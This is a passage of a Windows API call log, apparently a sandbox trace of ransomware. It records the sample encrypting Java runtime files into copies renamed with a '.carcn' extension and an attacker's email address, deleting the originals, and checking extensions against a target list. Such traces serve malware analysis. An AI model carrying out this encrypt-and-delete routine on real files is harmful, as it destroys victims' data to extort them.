"c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0177.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.004] GetLastError () returned 0x0 [0178.004] ReadFile (in: hFile=0x35c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0178.124] WriteFile (in: hFile=0x300, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0178.125] ReadFile (in: hFile=0x35c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.125] WriteFile (in: hFile=0x300, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xee, lpOverlapped=0x0) returned 1 [0178.125] SetEndOfFile (hFile=0x300) returned 1 [0178.125] CloseHandle (hObject=0x300) returned 1 [0178.126] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.126] SetEndOfFile (hFile=0x35c) returned 1 [0178.127] CloseHandle (hObject=0x35c) returned 1 [0178.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.127] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString=".doc") returned 4 [0178.128] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.128] lstrlenW (lpString=".docx") returned 5 [0178.128] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0178.128] lstrlenW (lpString=".pdf") returned 4 [0178.128] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.128] lstrlenW (lpString=".xls") returned 4 [0178.128] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.128] lstrlenW (lpString=".xlsx") returned 5 [0178.128] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0178.128] lstrlenW (lpString=".ppt") returned 4 [0178.128] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString=".zip") returned 4 [0178.128] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.128] lstrlenW (lpString=".rar") returned 4 [0178.128] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.128] lstrlenW (lpString=".bz2") returned 4 [0178.128] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.128] lstrlenW (lpString=".7z") returned 3 [0178.128] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString=".dbf") returned 4 [0178.128] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString=".1cd") returned 4 [0178.128] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.128] lstrlenW (lpString=".jpg") returned 4 [0178.129] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString=".doc") returned 4 [0178.129] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.129] lstrlenW (lpString=".docx") returned 5 [0178.129] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0178.129] lstrlenW (lpString=".pdf") returned 4 [0178.129] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString=".xls") returned 4 [0178.129] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString=".xlsx") returned 5 [0178.129] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0178.129] lstrlenW (lpString=".ppt") returned 4 [0178.129] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString=".zip") returned 4 [0178.129] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString=".rar") returned 4 [0178.129] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.129] lstrlenW (lpString=".bz2") returned 4 [0178.129] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.129] lstrlenW (lpString=".7z") returned 3 [0178.129] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString=".dbf") returned 4 [0178.129] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString=".1cd") returned 4 [0178.129] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0178.129] lstrlenW (lpString=".jpg") returned 4 [0178.129] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.130] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.130] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0178.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.270] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=153) returned 1 [0178.270] CloseHandle (hObject=0x318) returned 1 [0178.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0178.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0178.277] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.277] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.315] GetLastError () returned 0x0 [0178.315] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x99, lpOverlapped=0x0) returned 1 [0178.316] WriteFile (in: hFile=0x35c, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xa0, lpOverlapped=0x0) returned 1 [0178.317] ReadFile (in: hFile=0x318, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.317] WriteFile (in: hFile=0x35c, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x106, lpOverlapped=0x0) returned 1 [0178.317] SetEndOfFile (hFile=0x35c) returned 1 [0178.317] CloseHandle (hObject=0x35c) returned 1 [0178.318] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.318] SetEndOfFile (hFile=0x318) returned 1 [0178.318] CloseHandle (hObject=0x318) returned 1 [0178.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.319] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0178.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.319] lstrlenW (lpString=".doc") returned 4 [0178.319] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.319] lstrlenW (lpString=".docx") returned 5 [0178.319] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.319] lstrlenW (lpString=".pdf") returned 4 [0178.319] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.319] lstrlenW (lpString=".xls") returned 4 [0178.319] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.319] lstrlenW (lpString=".xlsx") returned 5 [0178.319] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.319] lstrlenW (lpString=".ppt") returned 4 [0178.319] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.319] lstrlenW (lpString=".zip") returned 4 [0178.319] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.319] lstrlenW (lpString=".rar") returned 4 [0178.319] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.319] lstrlenW (lpString=".bz2") returned 4 [0178.319] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.319] lstrlenW (lpString=".7z") returned 3 [0178.319] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.319] lstrlenW (lpString=".dbf") returned 4 [0178.319] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString=".1cd") returned 4 [0178.320] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString=".jpg") returned 4 [0178.320] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString=".doc") returned 4 [0178.320] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.320] lstrlenW (lpString=".docx") returned 5 [0178.320] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.320] lstrlenW (lpString=".pdf") returned 4 [0178.320] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString=".xls") returned 4 [0178.320] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString=".xlsx") returned 5 [0178.320] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.320] lstrlenW (lpString=".ppt") returned 4 [0178.320] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString=".zip") returned 4 [0178.320] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString=".rar") returned 4 [0178.320] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.320] lstrlenW (lpString=".bz2") returned 4 [0178.320] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.320] lstrlenW (lpString=".7z") returned 3 [0178.320] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.320] lstrlenW (lpString=".dbf") returned 4 [0178.320] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.321] lstrlenW (lpString=".1cd") returned 4 [0178.321] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.321] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0178.321] lstrlenW (lpString=".jpg") returned 4 [0178.321] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.321] lstrcmpiW (lpString1=".txt", lpString2=".carcn") returned 1 [0178.321] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0178.321] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.323] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=63933) returned 1 [0178.323] CloseHandle (hObject=0x31c) returned 1 [0178.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0178.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.323] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.323] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.323] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.324] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.326] GetLastError () returned 0x0 [0178.326] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0178.341] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0178.342] ReadFile (in: hFile=0x31c, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.342] WriteFile (in: hFile=0x380, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x118, lpOverlapped=0x0) returned 1 [0178.343] SetEndOfFile (hFile=0x380) returned 1 [0178.343] CloseHandle (hObject=0x380) returned 1 [0178.344] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] SetEndOfFile (hFile=0x31c) returned 1 [0178.345] CloseHandle (hObject=0x31c) returned 1 [0178.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.346] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0178.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.346] lstrlenW (lpString=".doc") returned 4 [0178.346] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.346] lstrlenW (lpString=".docx") returned 5 [0178.346] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0178.346] lstrlenW (lpString=".pdf") returned 4 [0178.346] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.346] lstrlenW (lpString=".xls") returned 4 [0178.346] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.346] lstrlenW (lpString=".xlsx") returned 5 [0178.346] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0178.346] lstrlenW (lpString=".ppt") returned 4 [0178.346] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.346] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.346] lstrlenW (lpString=".zip") returned 4 [0178.346] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.346] lstrlenW (lpString=".rar") returned 4 [0178.346] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.346] lstrlenW (lpString=".bz2") returned 4 [0178.346] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString=".7z") returned 3 [0178.347] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString=".dbf") returned 4 [0178.347] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString=".1cd") returned 4 [0178.347] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString=".jpg") returned 4 [0178.347] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString=".doc") returned 4 [0178.347] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString=".docx") returned 5 [0178.347] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0178.347] lstrlenW (lpString=".pdf") returned 4 [0178.347] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString=".xls") returned 4 [0178.347] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.347] lstrlenW (lpString=".xlsx") returned 5 [0178.347] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0178.347] lstrlenW (lpString=".ppt") returned 4 [0178.347] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.347] lstrlenW (lpString=".zip") returned 4 [0178.347] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.347] lstrlenW (lpString=".rar") returned 4 [0178.347] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString=".bz2") returned 4 [0178.347] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.347] lstrlenW (lpString=".7z") returned 3 [0178.347] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.348] lstrlenW (lpString=".dbf") returned 4 [0178.348] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.348] lstrlenW (lpString=".1cd") returned 4 [0178.348] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0178.348] lstrlenW (lpString=".jpg") returned 4 [0178.348] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.348] lstrcmpiW (lpString1=".html", lpString2=".carcn") returned 1 [0178.348] lstrlenW (lpString="Welcome.html") returned 12 [0178.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.348] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=955) returned 1 [0178.349] CloseHandle (hObject=0x31c) returned 1 [0178.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0178.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.351] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: 